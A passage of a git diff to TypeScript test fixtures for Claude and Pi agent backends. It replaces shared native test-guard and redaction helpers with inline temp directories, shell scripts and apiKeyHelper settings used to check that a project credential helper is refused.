"--clearenv", ...nativeNamespaceEnvironment(), "--setenv", "PATH", "/usr/bin:/bin", "--setenv", "HOME", "/tmp", "--unshare-net", "--unshare-pid", "--die-with-parent", - "--ro-bind", "/", "/", "--tmpfs", "/tmp", "--tmpfs", "/etc", "--proc", "/proc", "--dev", "/dev", ...policy.mounts, process.execPath, fixture, "governed", "inspect", ...policy.args], { - env: { PATH: "/usr/bin:/bin" }, stdout: "pipe", stderr: "pipe", timeout: watchdogMs(SDK_RELAY_SINGLE_TURN_TIMEOUT_MS), + const child = Bun.spawn(["bwrap", "--clearenv", "--setenv", "PATH", "/usr/bin:/bin", "--setenv", "HOME", "/tmp", "--unshare-net", "--unshare-pid", "--die-with-parent", + "--ro-bind", "/", "/", "--tmpfs", "/tmp", "--tmpfs", "/etc", "--proc", "/proc", "--dev", "/dev", process.execPath, fixture, "governed", "inspect"], { + env: { PATH: "/usr/bin:/bin" }, stdout: "pipe", stderr: "pipe", timeout: SDK_RELAY_SINGLE_TURN_TIMEOUT_MS, }); const [stdout, stderr, exit] = await Promise.all([new Response(child.stdout).text(), new Response(child.stderr).text(), child.exited]); expect(exit, stderr).toBe(0); diff --git a/packages/ui-backend-claude/tests/shell-startup.test.ts b/packages/ui-backend-claude/tests/shell-startup.test.ts index bba07bb5ea..2539960476 100644 --- a/packages/ui-backend-claude/tests/shell-startup.test.ts +++ b/packages/ui-backend-claude/tests/shell-startup.test.ts @@ -1,5 +1,4 @@ import { watchdogMs } from "../../../scripts/test-deadlines.ts"; -import { nativeNamespaceEnvironment, nativeNamespacePolicy } from "../../../scripts/test-native-guard.ts"; /** Native commands need OS isolation: the entire fixture has only loopback networking. */ import { expect, test } from "bun:test"; import { mkdtempSync, readlinkSync, rmSync } from "node:fs"; @@ -37,11 +36,10 @@ for (const shell of ["bash", "zsh"] as const) for (const [profile, startupEnv] o const scratch = mkdtempSync(join(tmpdir(), "odysseus-shell-startup-")); const fixture = new URL("./fixtures/shell-startup-probe.ts", import.meta.url).pathname; try { - const policy = nativeNamespacePolicy(); - const child = Bun.spawn(["bwrap", "--clearenv", ...nativeNamespaceEnvironment(), "--setenv", "PATH", "/usr/bin:/bin", "--setenv", "HOME", "/opt/odysseus-shell-fixture/home", + const child = Bun.spawn(["bwrap", "--clearenv", "--setenv", "PATH", "/usr/bin:/bin", "--setenv", "HOME", "/opt/odysseus-shell-fixture/home", "--unshare-net", "--unshare-pid", "--die-with-parent", "--ro-bind", "/", "/", "--tmpfs", "/opt", - "--bind", scratch, "/opt/odysseus-shell-fixture", "--tmpfs", "/tmp", "--tmpfs", "/etc", "--proc", "/proc", "--dev", "/dev", ...policy.mounts, - process.execPath, fixture, "/opt/odysseus-shell-fixture", branch, profile, startupEnv ? "startup-env" : "clean-env", shell, ...policy.args], { + "--bind", scratch, "/opt/odysseus-shell-fixture", "--tmpfs", "/tmp", "--tmpfs", "/etc", "--proc", "/proc", "--dev", "/dev", + process.execPath, fixture, "/opt/odysseus-shell-fixture", branch, profile, startupEnv ? "startup-env" : "clean-env", shell], { env: { PATH: "/usr/bin:/bin" }, stdout: "pipe", stderr: "pipe", timeout: watchdogMs(30_000), }); const [stdout, stderr, exit] = await Promise.all([new Response(child.stdout).text(), new Response(child.stderr).text(), child.exited]); diff --git a/packages/ui-backend-claude/tests/subscription-billing.test.ts b/packages/ui-backend-claude/tests/subscription-billing.test.ts index 1d7b1a67ed..93dda17aa5 100644 --- a/packages/ui-backend-claude/tests/subscription-billing.test.ts +++ b/packages/ui-backend-claude/tests/subscription-billing.test.ts @@ -1,7 +1,4 @@ -import { installSubscriptionHelperWitness } from "./helpers/subscription-helper-witness"; -import { nativeFixtureDirectory } from "../../../scripts/test-native-guard.ts"; -import { nativeScriptedService } from "../../../scripts/test-native-guard.ts"; -import { createFixtureWorkerStartupView, prepareFixtureWorkerSandbox } from "../../ui-sdk/tests/helpers/worker-startup-view-fixture.js"; +import { createFixtureWorkerStartupView } from "../../ui-sdk/tests/helpers/worker-startup-view-fixture.js"; import { mockWorkerHostForSdkStream } from "./helpers/worker-host.js"; /** * A Claude turn on a profile with no credential of its own runs on the @@ -18,7 +15,8 @@ import { mockWorkerHostForSdkStream } from "./helpers/worker-host.js"; */ import { afterAll, afterEach, beforeAll, describe, expect, test } from "bun:test"; -import { existsSync, mkdirSync, rmSync, writeFileSync } from "node:fs"; +import { existsSync, mkdirSync, mkdtempSync, rmSync, writeFileSync } from "node:fs"; +import { tmpdir } from "node:os"; import { join } from "node:path"; import { query, type SDKMessage } from "@anthropic-ai/claude-agent-sdk"; import type { BackendActivityEvent, BackendBridge, ServerMessage } from "@schlessera/brain-ui-sdk/server"; @@ -78,7 +76,7 @@ afterEach(() => { }); function tempDir(prefix: string): string { - const dir = nativeFixtureDirectory(prefix); + const dir = mkdtempSync(join(tmpdir(), prefix)); scratch.push(dir); return dir; } @@ -95,7 +93,6 @@ interface Setup { /** A fresh HOME, config dir and brain repo, and the process env a host would have. */ function arrange(setup: Setup): { brainPath: string; home: string } { - nativeScriptedService(server.url.origin); const home = tempDir("sub-home-"); const configDir = join(home, ".claude"); mkdirSync(configDir, { recursive: true }); @@ -117,7 +114,7 @@ function arrange(setup: Setup): { brainPath: string; home: string } { DECLARED_TOKEN_ENV: DECLARED_TOKEN, CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC: "1", BRAIN_UI_SUBPROCESS_ENV_EXTRA: - "CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC,ANTHROPIC_CUSTOM_HEADERS,ANTHROPIC_BASE_URL", + "CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC,ANTHROPIC_CUSTOM_HEADERS", }); if (setup.customHeaders !== undefined) process.env.ANTHROPIC_CUSTOM_HEADERS = setup.customHeaders; if (setup.oauth === undefined) delete process.env.CLAUDE_CODE_OAUTH_TOKEN; @@ -144,8 +141,7 @@ function observedQuery(observed: SDKMessage[]): typeof query { async function runTurn( { brainPath }: { brainPath: string }, - profileId?: string, - witnessProfile?: "governed" + profileId?: string ): Promise<{ frames: ServerMessage[]; observed: SDKMessage[]; activity: BackendActivityEvent[] }> { const frames: ServerMessage[] = []; const observed: SDKMessage[] = []; @@ -167,12 +163,7 @@ async function runTurn( log: () => {}, }); const workerStartupView = createFixtureWorkerStartupView(brainPath); - try { - // Only helper twins need a shared writable witness. Subscription admission - // branches on billing/account/settings, independently of the worker profile. - const workerSandbox=prepareFixtureWorkerSandbox(brainPath,{home:process.env.HOME,areas:[],...(witnessProfile?{profile:witnessProfile}:{})}); - if(witnessProfile)expect(workerSandbox.profile,"HELPER_PROTECTED_VIEW_IS_GOVERNED").toBe("governed"); - await backend.startTurn({ workerStartupView, workerSandbox: { ...workerSandbox, areas: [] }, + try { await backend.startTurn({ workerStartupView, prompt: "Reply with the single word ok.", signal: new AbortController().signal, bridge, @@ -260,10 +251,12 @@ describe("a profile without its own credential bills the subscription", () => { }, LIVE); test("a project apiKeyHelper refuses the turn: it never runs, and nothing is sent", async () => { - const fixture = arrange({}); - const marker = installSubscriptionHelperWitness(fixture.brainPath, HELPER_KEY); + const marker = join(tempDir("sub-marker-"), "helper-ran"); + const fixture = arrange({ + projectSettings: { apiKeyHelper: `touch ${marker}; echo ${HELPER_KEY}` }, + }); // (The helper fixture is proven live by the control test below.) - const { frames } = await runTurn(fixture, undefined, "governed"); + const { frames } = await runTurn(fixture); expect(seen).toEqual([]); expectAuthFailure(frames); @@ -275,9 +268,12 @@ describe("a profile without its own credential bills the subscription", () => { // check, so a configured helper refuses the turn outright. The marker comes // first, so its absence means the helper never started — not that it was // killed during the sleep. - const fixture = arrange({ oauth: OAUTH }); - const marker = installSubscriptionHelperWitness(fixture.brainPath, HELPER_KEY, true); - const { frames } = await runTurn(fixture, undefined, "governed"); + const marker = join(tempDir("sub-marker-"), "helper-ran"); + const fixture = arrange({ + oauth: OAUTH, + projectSettings: { apiKeyHelper: `touch ${marker}; sleep 2; echo ${HELPER_KEY}` }, + }); + const { frames } = await runTurn(fixture); expect(seen).toEqual([]); expectAuthFailure(frames); @@ -327,8 +323,11 @@ describe("the fixtures would catch what they are for", () => { test("control: without the backend, the project helper runs and its key is sent", async () => { // Proves the helper fixture is live, so the "never runs" assertions above // are about the backend and not about a helper that could not have run. - const { brainPath } = arrange({ oauth: OAUTH }); - const marker = installSubscriptionHelperWitness(brainPath, HELPER_KEY); + const marker = join(tempDir("sub-marker-"), "helper-ran"); + const { brainPath } = arrange({ + oauth: OAUTH, + projectSettings: { apiKeyHelper: `touch ${marker}; echo ${HELPER_KEY}` }, + }); const run = query({ prompt: "Reply with the single word ok.", options: { diff --git a/packages/ui-backend-pi/tests/fixtures/provider-history-probe.ts b/packages/ui-backend-pi/tests/fixtures/provider-history-probe.ts index 66134d0691..5c4deb19ae 100644 --- a/packages/ui-backend-pi/tests/fixtures/provider-history-probe.ts +++ b/packages/ui-backend-pi/tests/fixtures/provider-history-probe.ts @@ -1,5 +1,4 @@ -import { watchdogMs } from "../../../../scripts/test-deadlines"; -import {nativeScriptedService} from "../../../../scripts/test-native-guard"; +import { watchdogMs } from "../../../../scripts/test-deadlines.js"; /** Native Pi workers and Responses serialization, inside the caller's offline namespace. */ import { mkdirSync, writeFileSync } from "node:fs"; import { join } from "node:path"; @@ -64,8 +63,6 @@ writeFileSync(join(process.env.PI_CODING_AGENT_DIR!, "models.json"), JSON.string // The hosted turn runs on the host inference relay (#3314), which sends openai's // credential only to an origin the operator lists for it: here, the loopback stub. process.env.BRAIN_UI_PI_CREDENTIAL_ORIGINS = `openai=${server.url.origin}`; -const releaseAuthority=nativeScriptedService(server.url.origin,{fixtureRoots:[scratch]}); - try { for (scenario of ["control", "repository", "facts", "promotion", "reference", "renewal", "freshness", "immutable", "datatree", "compute", "safety"]) { brain = fixtureBrain(scratch, scenario); @@ -155,4 +152,4 @@ try { capture.budgets = hosted.receipts(); } finally { await hosted.close(); } writeFileSync(join(scratch, "requests.json"), JSON.stringify(captures)); -} finally { releaseAuthority();server.stop(true); } +} finally { server.stop(true); } diff --git a/packages/ui-backend-pi/tests/worker-cli-path.test.ts b/packages/ui-backend-pi/tests/worker-cli-path.test.ts index c69914fe08..8bd50ae910 100644 --- a/packages/ui-backend-pi/tests/worker-cli-path.test.ts +++ b/packages/ui-backend-pi/tests/worker-cli-path.test.ts @@ -36,12 +36,11 @@ for (const backend of ["Claude", "Pi"] as const) for (const profile of ["governe chmodSync(join(inferenceDir, "relay.sock"), 0o600); } const shell = 'found=$(command -v brain || true); printf "%s\\n" "$found"; if [ -n "$found" ]; then brain; fi; printf "\\n%s" "$PATH"'; - const pathProbe=join(root,"path-probe.sh");writeFileSync(pathProbe,"#!/bin/sh\n"+shell+"\n",{mode:0o755}); let actual: string; if (backend === "Claude") { spawner = createWorkerSpawn(brain, {}, new AbortController().signal, profile === "restricted" ? { inferenceDir } : undefined, sandbox, undefined, undefined, {}, undefined, undefined, view); - const process = spawner.spawn({ command: pathProbe, args: [], env: { PATH: profile === "restricted" ? "/usr/bin:/bin" : previousPath, CLAUDE_CONFIG_DIR: config }, signal: new AbortController().signal } as never); + const process = spawner.spawn({ command: "/bin/sh", args: ["-c", shell], env: { PATH: profile === "restricted" ? "/usr/bin:/bin" : previousPath, CLAUDE_CONFIG_DIR: config }, signal: new AbortController().signal } as never); const output: Buffer[] = []; process.stdout.on("data", chunk => output.push(Buffer.from(chunk))); process.stdin.end(); diff --git a/packages/ui-backend-pi/tests/worker-stdio-release.test.ts b/packages/ui-backend-pi/tests/worker-stdio-release.test.ts index f69e8cbc4f..3fb9e5b8e4 100644 --- a/packages/ui-backend-pi/tests/worker-stdio-release.test.ts +++ b/packages/ui-backend-pi/tests/worker-stdio-release.test.ts @@ -4,7 +4,7 @@ * included. The real launcher runs a shell that speaks the worker protocol. */ import { afterEach, expect, spyOn, test } from "bun:test"; -import { mkdirSync, mkdtempSync, rmSync, writeFileSync } from "node:fs"; +import { mkdirSync, mkdtempSync, rmSync } from "node:fs"; import { tmpdir } from "node:os"; import { join } from "node:path"; import * as worker from "@schlessera/brain-ui-sdk/internal"; @@ -35,8 +35,6 @@ const REFUSING = `IFS= read -r init; sleep 0.3; printf 'Penelope' >&2; exit 3`; */ async function piTurn(script: string, hold: "init" | "prompt" | "started" | "none", withheld?: { promise: Promise; called(): void }) { const root = mkdtempSync(join(tmpdir(), "odysseus-pi-release-")); - const peer = join(root,"protocol-peer.sh"); - writeFileSync(peer,"#!/bin/sh\n"+script+"\n",{mode:0o755}); const brain = join(root, "ithaca"), sessionDir = join(root, "sessions"); mkdirSync(brain); mkdirSync(sessionDir); cleanup.push(() => rmSync(root, { recursive: true, force: true })); @@ -49,7 +47,7 @@ async function piTurn(script: string, hold: "init" | "prompt" | "started" | "non let pool: ReturnType | undefined; const real = worker.launchAgentWorkerAsync; const launch = spyOn(worker, "launchAgentWorkerAsync").mockImplementation(async input => { - const launched = await real({ ...input, command: [peer] }); + const launched = await real({ ...input, command: ["/bin/sh", "-c", script] }); if (withheld) { const released = launched.released; launched.released = () => { withheld.called(); return withheld.promise.then(released); }; diff --git a/packages/ui-sdk/tests/fixtures/native-sdk-stderr-capture.ts b/packages/ui-sdk/tests/fixtures/native-sdk-stderr-capture.ts deleted file mode 100644 index e82b17a6c0..0000000000 --- a/packages/ui-sdk/tests/fixtures/native-sdk-stderr-capture.ts +++ /dev/null @@ -1,35 +0,0 @@ -/** Fixture-only SDK stderr evidence, including failures before workerStarted. */ -import { nativeReceipt } from "../../../../scripts/native-test-receipts"; -import { nativeTestHead, redactNativeDiagnosticAssignments, redactNativeDiagnosticMessage } from "../../../../scripts/test-native-guard"; -import { createRedactor } from "../../../compute-boat/src/redact"; -import { redactCredentials } from "../../../ui-server/src/activity/runtime-status"; - -export const SDK_STDERR_WINDOW_BYTES = 16 * 1024; -export function captureNativeSdkStderr(secrets: readonly string[]) { - const redactor = createRedactor(undefined); - for (const secret of secrets) redactor.add(secret); - let first = Buffer.alloc(0), tail = Buffer.alloc(0), observedBytes = 0, flushed = false; - const scrub = (value: string) => redactNativeDiagnosticMessage(redactCredentials(redactNativeDiagnosticAssignments(redactor.text(value.replace(/^[ \t]*(?:Args|Arguments|argv|Env|Environment):[^\n]*(?:\n|$)/gim, "[redacted startup metadata]\n"))))) - .replace(/https?:\/\/[^\s"'<>]+/gi, "[redacted URL]") - .replace(/(?:~\/|\/)[^\s"'<>),;]*/g, "[redacted path]"); - return { - stderr(data: string): void { - if (flushed) return; - const bytes = Buffer.from(data); observedBytes += bytes.length; - const keep = Math.min(bytes.length, SDK_STDERR_WINDOW_BYTES - first.length); - if (keep > 0) first = Buffer.concat([first, bytes.subarray(0, keep)]); - tail = Buffer.concat([tail, bytes.subarray(-SDK_STDERR_WINDOW_BYTES)]).subarray(-SDK_STDERR_WINDOW_BYTES); - }, - flush(): void { - if (flushed) return; flushed = true; - let beginning = first.toString("utf8"), ending = tail.toString("utf8"); - // Drop cut lines rather than emitting a partial credential at a bound. - if (observedBytes > first.length) beginning = beginning.slice(0, Math.max(0, beginning.lastIndexOf("\n"))); - if (observedBytes > tail.length) ending = ending.slice(ending.indexOf("\n") < 0 ? ending.length : ending.indexOf("\n") + 1); - nativeReceipt({ kind: "native-fixture-sdk-stderr", head: nativeTestHead(), observedBytes, - retainedBytes: first.length + tail.length, truncated: observedBytes > SDK_STDERR_WINDOW_BYTES, - first: scrub(beginning), tail: scrub(ending) }); - first = Buffer.alloc(0); tail = Buffer.alloc(0); - }, - }; -} diff --git a/packages/ui-sdk/tests/fixtures/native-worker-startup-diagnostics.ts b/packages/ui-sdk/tests/fixtures/native-worker-startup-diagnostics.ts deleted file mode 100644 index f13871ab3b..0000000000 --- a/packages/ui-sdk/tests/fixtures/native-worker-startup-diagnostics.ts +++ /dev/null @@ -1,38 +0,0 @@ -import { watchdogMs } from "../../../../scripts/test-deadlines"; -/** Test-only startup evidence; never write raw stderr, argv or environment. */ -import type { Readable } from "node:stream"; -import { createRedactor } from "../../../compute-boat/src/redact.js"; -import { redactCredentials } from "../../../ui-server/src/activity/runtime-status.js"; -import { redactProviderMessage } from "../../../ui-react/src/lib/turn-failure.js"; - -export const STARTUP_STDERR_BYTES = 32768; -interface StartupWorker { stderr: Readable; exited: Promise } -interface BootstrapStatus { exitCode: number | null; signalCode: string | number | null } - -export function observeNativeWorkerStartup(worker: StartupWorker, bootstrap: BootstrapStatus, secrets: readonly string[]): void { - const redactor=createRedactor(undefined);for(const secret of secrets)redactor.add(secret); - // These are the existing outcome/log and Activity/provider-receipt scrubbers. - const scrub=(text:string)=>redactProviderMessage(redactCredentials(redactor.text(text.replace(/^[ \t]*(?:Args|Arguments|argv|Env|Environment):[^\n]*(?:\n|$)/gim,"[redacted startup metadata]\n")))); - const chunks:Buffer[]=[];let retained=0,observed=0,flushed=false; - const data=(chunk:Buffer|string)=>{ - const bytes=Buffer.isBuffer(chunk)?chunk:Buffer.from(chunk);observed+=bytes.length; - const keep=Math.min(bytes.length,STARTUP_STDERR_BYTES-retained); - if(keep>0){chunks.push(Buffer.from(bytes.subarray(0,keep)));retained+=keep;} - }; - const flush=()=>{ - if(flushed)return;flushed=true;worker.stderr.off("data",data); - let text=Buffer.concat(chunks).toString("utf8"); - // Never print a partial trailing credential when the prefix was capped. - if(observed>retained)text=text.slice(0,Math.max(0,text.lastIndexOf("\n"))); - console.error(JSON.stringify({kind:"native-fixture-startup-stderr",retainedBytes:retained,observedBytes:observed, - truncated:observed>retained,text:scrub(text)})); - chunks.length=0; - }; - worker.stderr.on("data",data);worker.stderr.once("end",flush);worker.stderr.once("close",flush); - worker.stderr.once("error",error=>{flush();console.error(JSON.stringify({kind:"native-fixture-stderr-error",message:scrub(String(error))}));}); - void worker.exited.then(code=>{ - console.error(JSON.stringify({kind:"native-fixture-worker-exit",exitCode:code,signal:bootstrap.signalCode,signalScope:"worker-bootstrap",bootstrapExitCode:bootstrap.exitCode})); - },error=>{ - console.error(JSON.stringify({kind:"native-fixture-worker-exit",exitCode:null,signal:bootstrap.signalCode,signalScope:"worker-bootstrap",bootstrapExitCode:bootstrap.exitCode,message:scrub(String(error))})); - }).finally(()=>{setTimeout(flush,watchdogMs(2000)).unref();}); -} diff --git a/packages/ui-sdk/tests/fixtures/ordinary-identity-phases.ts b/packages/ui-sdk/tests/fixtures/ordinary-identity-phases.ts index 42bbee1520..f756eddd31 100644 --- a/packages/ui-sdk/tests/fixtures/ordinary-identity-phases.ts +++ b/packages/ui-sdk/tests/fixtures/ordinary-identity-phases.ts @@ -2,10 +2,6 @@ import { APPLICATION_QUALIFICATION_PHASES, APPLICATION_SCENARIOS } from "./appli import { DEFAULT_IDENTITY_PHASES } from "./default-identity-phases.js"; export const IDENTITY_PHASE_TIMEOUT_MS = 90_000; -/** Fixture catch-alls: controls measured 318.6 s, fresh 151-185 s, warm 393.8 s. */ -export function ordinaryIdentityPhaseTimeoutMs(phase:string|undefined):number { - return phase==="controls"?900_000:phase==="fresh"?600_000:phase==="warm"?1_200_000:IDENTITY_PHASE_TIMEOUT_MS; -} export const IDENTITY_CLEANUP_TIMEOUT_MS = 5_000; /** The parent budget and native launcher use the same existing phase selection. */ diff --git a/packages/ui-sdk/tests/fixtures/ordinary-identity-root.ts b/packages/ui-sdk/tests/fixtures/ordinary-identity-root.ts index 4a1bddd1a0..6a92d6af77 100644 --- a/packages/ui-sdk/tests/fixtures/ordinary-identity-root.ts +++ b/packages/ui-sdk/tests/fixtures/ordinary-identity-root.ts @@ -1,16 +1,12 @@ -import {serveNativeFixtureBrainManager as serveNativeBrainManager} from '../../../../tests/helpers/native-stage-metadata-fixture'; -import {withNativeProofStages} from "../../../../tests/helpers/native-managed-proof"; import { watchdogMs } from "../../../../scripts/test-deadlines"; -import { writePrivateProofArtifact } from "./private-proof-artifact.js"; -import { PRIVATE_FIXTURE_DIRECTORY_ACCESS } from "./private-fixture-directory-access.js"; import { defaultIdentityPhase } from "./default-identity-phases.js"; import { applicationQualificationScenario } from "./application-qualification.js"; -import { ordinaryIdentityPhases, ordinaryIdentityPhaseTimeoutMs, IDENTITY_CLEANUP_TIMEOUT_MS } from "./ordinary-identity-phases.js"; +import { ordinaryIdentityPhases, IDENTITY_PHASE_TIMEOUT_MS, IDENTITY_CLEANUP_TIMEOUT_MS } from "./ordinary-identity-phases.js"; import { retainFixtureStream } from "./retained-stream.js"; import { expect } from "bun:test"; import { chmodSync, chownSync, mkdirSync, writeFileSync, existsSync, readdirSync, readFileSync, lstatSync } from "node:fs"; import { join } from "node:path"; - +import { serveNativeBrainManager } from "../../../ui-sdk/src/server/native-brain-manager.js"; import { hostOutputStagingLimits } from "../../../ui-sdk/src/server/worker-state-limits.js"; const brain = "/brain-fixture/brain"; const sharedGit = process.argv.includes("--shared-git"); @@ -29,7 +25,7 @@ function command(argv: string[]) { expect(child.exitCode, child.stderr.toString()).toBe(0); return child.stdout.toString(); } if (process.argv[2] === "--index-child") { - await withNativeProofStages(brain,async()=>{await (await import("../maintenance-index-refusals.native.js")).proveMaintenanceIndexRefusals();}); + await import("../maintenance-index-refusals.native.js"); } else if (process.argv[2] === "--child") { expect(process.getuid!()).toBe(21001); const childStarted = performance.now(); @@ -95,15 +91,14 @@ if (process.argv[2] === "--index-child") { await import("../restricted-relay-qualification.native.js"); } childStage("identity-probe:done"); - await withNativeProofStages(brain,async()=>{ - if (!sharedGit && (!defaultPhase || defaultPhase === "controls")) await (await import("../private-publication-transition.native.js")).provePrivatePublicationTransition(); + if (!sharedGit && (!defaultPhase || defaultPhase === "controls")) await import("../private-publication-transition.native.js"); if (defaultPhase === "controls") { const { captureMaintenanceStage } = await import("../maintenance-stage-provenance.native.js"); await captureMaintenanceStage(brain); } if (privateGitInputs && (!sharedPhase || sharedPhase === "private" || sharedPhase === "private-positive")) { childStage("private-inputs:start"); - await (await import("../private-git-inputs.native.js")).provePrivateGitInputs(sharedPhase === "private-positive"); + await import("../private-git-inputs.native.js" + (sharedPhase === "private-positive" ? "?positive-only=1" : "")); childStage("private-inputs:done"); } if (sharedPhase === "fresh-controls" || sharedPhase === "fresh-git") { @@ -116,7 +111,6 @@ if (process.argv[2] === "--index-child") { await captureMaintenanceStage(brain); } } - }); if (sharedPhase === "fresh-app") await import("./ordinary-identity-ws.js" + "?shared-git=1&app-only=1"); if ((!sharedPhase || sharedPhase === "fresh") && (!defaultPhase || defaultPhase === "fresh")) await import("./ordinary-identity-ws.js" + (sharedGit ? "?shared-git=1" : "")); if ((!sharedPhase || sharedPhase === "warm") && (!defaultPhase || defaultPhase === "warm")) await import("./ordinary-identity-ws.js" + (sharedGit ? "?profile=governed&warm=1&shared-git=1" + (dbRepeat ? "&app-only=1" : "") : "?profile=governed&warm=1")); @@ -196,41 +190,20 @@ if (process.argv[2] === "--index-child") { let foreignRequests = 0; const foreign = Bun.serve({ unix: "/identity-fixture/foreign-relay.sock", fetch() { foreignRequests++; return new Response("ithaca"); } }); chownSync("/identity-fixture/foreign-relay.sock", 0, 21001); chmodSync("/identity-fixture/foreign-relay.sock", 0o660); - // Kernel access proof runs before the diagnostic-producing identity phase. - // Container root writes; only the runner-owned proof directory's UID may read. - const privateControl = writePrivateProofArtifact("/proof", `private-artifact-access-${process.pid}.txt`, "Odysseus private audit control"); - const artifactOwner = lstatSync("/proof"); - const accessProbe = "import errno,sys\ntry: data=open(sys.argv[1]).read()\nexcept OSError as error: sys.exit(0 if sys.argv[2]=='denied' and error.errno==errno.EACCES else 3)\nsys.exit(0 if sys.argv[2]=='allowed' and data=='Odysseus private audit control' else 4)"; - for (const [uid, gid, admission] of [[artifactOwner.uid, artifactOwner.gid, "allowed"], [21002, 21001, "denied"]] as const) { - command(["/usr/bin/setpriv", `--reuid=${uid}`, `--regid=${gid}`, "--clear-groups", "/usr/bin/python3", "-I", "-S", "-c", accessProbe, privateControl, admission]); - } - console.log(JSON.stringify({ privateArtifactOwnership: "pass", mode: "0600", runnerReadable: true, workerDenied: true })); try { const phases = ordinaryIdentityPhases({ applicationScenario, applicationQualification, probeStatePlacement, sharedGit, privateGitInputs, indexControls: process.argv[2] === "--index-controls" }); let aggregateOutput = "", aggregateErrors = ""; for (const phase of phases) { - // Private-input controls finish before these application phases. The - // guard may inspect directory metadata; private files stay worker-only. - if (phase && ["fresh", "fresh-app", "warm", "strict"].includes(phase)) { - console.log(command(["/usr/bin/python3", "-I", "-S", "-c", PRIVATE_FIXTURE_DIRECTORY_ACCESS, brain, "21002", "21001"])); - } const started = performance.now(); const child = Bun.spawn(["/usr/bin/setpriv", "--reuid=21001", "--regid=21001", "--groups=21003", process.execPath, "--preload", "/repo/scripts/test-network-child-preload.ts", import.meta.filename, process.argv[2] === "--index-controls" ? "--index-child" : "--child", ...(sharedGit ? ["--shared-git"] : []), ...(omitProbeStatePlacement ? ["--omit-probe-state-placement"] : []), ...(privateGitInputs ? ["--private-git-inputs"] : []), ...(bootPruneCapture ? ["--boot-prune-capture"] : []), ...(applicationScenario === "db-repeat" && phase === "warm" ? ["--db-repeat-index"] : []), ...(phase ? [sharedGit ? `--shared-phase=${phase}` : `--default-phase=${phase}`] : [])], { - env: { PATH: "/usr/local/bin:/usr/bin:/bin", HOME: "/identity-server-private", BRAIN_UI_WORKER_IDENTITY_HELPER: "/usr/local/bin/identity-helper" }, stdout: "pipe", stderr: "pipe", timeout: watchdogMs(ordinaryIdentityPhaseTimeoutMs(phase)) }); + env: { PATH: "/usr/local/bin:/usr/bin:/bin", HOME: "/identity-server-private", BRAIN_UI_WORKER_IDENTITY_HELPER: "/usr/local/bin/identity-helper" }, stdout: "pipe", stderr: "pipe", timeout: watchdogMs(IDENTITY_PHASE_TIMEOUT_MS) }); const [capturedOutput, capturedErrors, code] = await Promise.all([ phase ? retainFixtureStream(child.stdout, `/proof/${sharedGit ? "shared-git" : "default"}-${phase}-server.stdout`) : new Response(child.stdout).text().then((text): Awaited> => ({ text })), phase ? retainFixtureStream(child.stderr, `/proof/${sharedGit ? "shared-git" : "default"}-${phase}-server.stderr`) : new Response(child.stderr).text().then((text): Awaited> => ({ text })), child.exited]); if (capturedOutput.failure) throw capturedOutput.failure.error; if (capturedErrors.failure) throw capturedErrors.failure.error; - if (phase === "fresh" && !sharedGit || phase === "strict") { - const auditRoot = phase === "strict" ? "/identity-server-private/server-ws-strict" : "/identity-server-private/server-ws"; - if (existsSync(auditRoot)) for (const name of readdirSync(auditRoot).filter(name => /^native-(?:startup-audit|boundary-failure)-[0-9]+(?:-[0-9]+)?\.json$/.test(name))) { - // The guard already bounded/scrubbed this snapshot before raw audit cleanup. - writePrivateProofArtifact("/proof", `${phase}-${name}`, readFileSync(join(auditRoot, name))); - } - } const output = capturedOutput.text, errors = capturedErrors.text; aggregateOutput += output; aggregateErrors += errors; writeFileSync("/proof/server.stdout", aggregateOutput); writeFileSync("/proof/server.stderr", aggregateErrors); @@ -248,7 +221,7 @@ if (process.argv[2] === "--index-child") { console.log(JSON.stringify(receipt)); } console.log(JSON.stringify({ foreignProbeRequests: foreignRequests })); - expect(code, errors).toBe(0);if(phase==="controls")expect(output,"PRIVATE_PUBLICATION_CONTROL_EXECUTED_IN_SCOPE").toContain('"strictPrivatePublicationMaintenance"'); expect(foreignRequests, "FOREIGN_PROBE_LISTENER_NEVER_CONTACTED").toBe(0); console.log(output); + expect(code, errors).toBe(0); expect(foreignRequests, "FOREIGN_PROBE_LISTENER_NEVER_CONTACTED").toBe(0); console.log(output); } } finally { foreign.stop(true); for (const relay of restrictedRelays) relay.stop(true); await service.close(); diff --git a/packages/ui-sdk/tests/fixtures/ordinary-identity-ws.ts b/packages/ui-sdk/tests/fixtures/ordinary-identity-ws.ts index b55693967f..41d656a20b 100644 --- a/packages/ui-sdk/tests/fixtures/ordinary-identity-ws.ts +++ b/packages/ui-sdk/tests/fixtures/ordinary-identity-ws.ts @@ -1,16 +1,10 @@ -import {nativeFixtureGuardTimingWindow,nativeFixtureFindingCounts,nativeFixtureSetupCounts} from "../../../../scripts/test-native-guard"; -import "../../../../scripts/test-network-child-preload.ts"; -import {observeNativeProofStages} from "../../../../tests/helpers/native-managed-proof"; -import {nativeFixtureTurnDataTree} from "../../../../scripts/test-native-guard.ts"; import { watchdogMs } from "../../../../scripts/test-deadlines"; -import { captureNativeReceipts } from "../../../../scripts/native-test-receipts.ts"; -import { query } from "@anthropic-ai/claude-agent-sdk"; import { defaultIdentityPhase } from "./default-identity-phases.js"; import { installDbRepeatObservation, repeatWarmIndex } from "./db-repeat-observation.js"; import { installBootPruneCapture } from "./boot-prune-capture.js"; /** Real managed-server admission and native SDK turn; explicit fictional API profile. */ import { expect } from "bun:test"; -import { lstatSync, mkdirSync, statSync, readdirSync, readFileSync, existsSync } from "node:fs"; +import { lstatSync, mkdirSync, statSync, readdirSync } from "node:fs"; import { dirname, join } from "node:path"; import { createApp } from "../../../ui-server/src/app.js"; import { resolveServerConfig } from "../../../ui-server/src/config/env.js"; @@ -20,13 +14,6 @@ import { createPrincipal } from "../../../ui-server/src/db/principals.js"; import { createClaudeBackend } from "../../../ui-backend-claude/src/backend.js"; import { nativeModelReply } from "../../../ui-backend-claude/tests/helpers/native-model-reply.js"; import { serializeSigned } from "hono/utils/cookie"; -import { bundledClaudeBinary } from "../../../core/src/providers/agents/claude-binary.js"; -import { nativeScriptedService, nativeScriptedQuery } from "../../../../scripts/test-native-guard.ts"; - -import { observeNativeWorkerStartup } from "./native-worker-startup-diagnostics.js"; -import type { LaunchedWorker } from "../../src/server/worker-launcher.js"; -import { isNativeClaude } from "../../../../scripts/test-native-guard.ts"; -const nativeBootstraps=new Map(); const sharedGit = new URL(import.meta.url).searchParams.has("shared-git"); const bootPruneCapture = 